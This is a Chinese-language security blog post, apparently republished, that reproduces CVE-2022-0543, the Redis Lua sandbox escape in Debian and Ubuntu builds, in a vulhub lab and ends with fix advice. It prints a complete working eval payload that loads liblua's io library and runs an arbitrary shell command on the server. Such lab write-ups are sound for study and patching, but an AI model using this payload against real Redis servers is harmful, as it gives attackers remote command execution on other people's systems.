Redis沙盒逃逸(CVE-2022-0543)漏洞复现

admin 2022年7月5日19:15:38安全文章评论41 views1103字阅读3分40秒阅读模式


概述

Redis 是著名的开源 Key-Value 数据库,其具备在沙箱中执行 Lua 脚本的能力。Debian 以及 Ubuntu 发行版的源在打包 Redis 时,在 Lua 沙箱中遗留了一个对象 package,攻击者可以利用这个对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令。


受影响版本

2.2 <= redis < 5.0.132.2 <= redis < 6.0.152.2 <= redis < 6.2.5


漏洞原理

Redis 一直有一个攻击点,就是在用户连接 redis ,可以通过 eval 命令执行 lua 脚本,但这个脚本跑在沙箱里,正常情况下无法执行命令,读取文件。


Ubuntu/Debian/CentOS 等这些发行版本会在原始软件的基础上打一些补丁包,例如 Debian 给 Redis 打的补丁增加了一个include


Debian 以及 Ubuntu 发行版的源在打包 Redis 时,不慎在 Lua 沙箱中遗留了一个对象 package,攻击者可以利用这个对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令。我们借助 Lua 沙箱中遗留的变量 package  loadlib 函数来加载动态链接库 /usr/lib/x86_64-linux-gnu/liblua5.1.so.0 里的导出函数 luaopen_io。在 Lua 中执行这个导出函数,即可获得 io 库,再使用其执行命令。




环境搭建

  • Linux 操作系统(安装了 vulhub

  • Windows 主机(安装了 redis 客户端


在 vulhub 中拉取 CVE-2022-0543 镜像

docker ps

Redis沙盒逃逸(CVE-2022-0543)漏洞复现




漏洞复现

在攻击机中使用 redis 客户端对靶机进行连接

redis-cli.exe -h 192.168.1.128(靶场ip) -p 6379(端口)

Redis沙盒逃逸(CVE-2022-0543)漏洞复现


输入恶意 payload,这里的 whoami 就是要执行的命令,可以根据自己的需求更换其他命令。

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

命令回显结果

Redis沙盒逃逸(CVE-2022-0543)漏洞复现




修复建议

1、更新至最新版本

2、在 Lua 初始化的末尾添加 package=nil



- End -

原文始发于微信公众号(NS Demon团队):Redis沙盒逃逸(CVE-2022-0543)漏洞复现

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月5日19:15:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Redis沙盒逃逸(CVE-2022-0543)漏洞复现 https://cn-sec.com/archives/1159396.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: